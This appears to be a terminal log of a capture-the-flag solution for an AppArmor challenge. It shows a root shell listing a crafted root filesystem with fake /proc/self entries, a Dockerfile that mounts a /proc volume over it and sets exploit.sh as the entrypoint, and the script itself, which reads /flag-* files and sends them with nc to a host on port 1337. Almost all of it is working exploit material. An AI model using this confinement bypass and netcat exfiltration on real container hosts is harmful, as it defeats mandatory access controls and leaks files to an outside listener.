dragonctf-apparmor.txt

root@dragon:~/leo2# find . -ls
   642686      4 drwxr-xr-x   3 root     root         4096 Sep 22 00:21 .
   642727      4 drwxr-xr-x   4 root     root         4096 Sep 22 00:00 ./rootfs
   662833      4 -rwxr-xr-x   1 root     root           62 Sep 22 00:00 ./rootfs/exploit.sh
   654011      4 drwxr-xr-x   3 root     root         4096 Sep 21 23:43 ./rootfs/proc
   662371      4 drwxr-xr-x   4 root     root         4096 Sep 21 23:44 ./rootfs/proc/self
   662372      4 drwxr-xr-x   2 root     root         4096 Sep 21 23:43 ./rootfs/proc/self/attr
   662375      0 -rw-r--r--   1 root     root            0 Sep 21 23:43 ./rootfs/proc/self/attr/exec
   662419      0 -rw-r--r--   1 root     root            0 Sep 21 23:44 ./rootfs/proc/self/status
   662416      4 drwxr-xr-x   2 root     root         4096 Sep 21 23:48 ./rootfs/proc/self/fd
   662546      0 -rw-r--r--   1 root     root            0 Sep 21 23:48 ./rootfs/proc/self/fd/2
   662550      0 -rw-r--r--   1 root     root            0 Sep 21 23:48 ./rootfs/proc/self/fd/255
   662548      0 -rw-r--r--   1 root     root            0 Sep 21 23:48 ./rootfs/proc/self/fd/4
   662545      0 -rw-r--r--   1 root     root            0 Sep 21 23:48 ./rootfs/proc/self/fd/1
   662544      0 -rw-r--r--   1 root     root            0 Sep 21 23:48 ./rootfs/proc/self/fd/0
   662547      0 -rw-r--r--   1 root     root            0 Sep 21 23:48 ./rootfs/proc/self/fd/3
   642758      4 drwxr-xr-x   2 root     root         4096 Sep 21 23:39 ./rootfs/dev
   642845      0 -rw-r--r--   1 root     root            0 Sep 21 23:39 ./rootfs/dev/ptmx
   662832      4 -rw-r--r--   1 root     root           70 Sep 22 00:21 ./Dockerfile
root@dragon:~/leo2# 
root@dragon:~/leo2# cat Dockerfile 
FROM fedora:30
ADD rootfs /

VOLUME /proc

ENTRYPOINT ["/exploit.sh"]
root@dragon:~/leo2# 
root@dragon:~/leo2# cat rootfs/exploit.sh 
#!/bin/sh

/bin/cat /flag-* | /bin/nc dragon 1337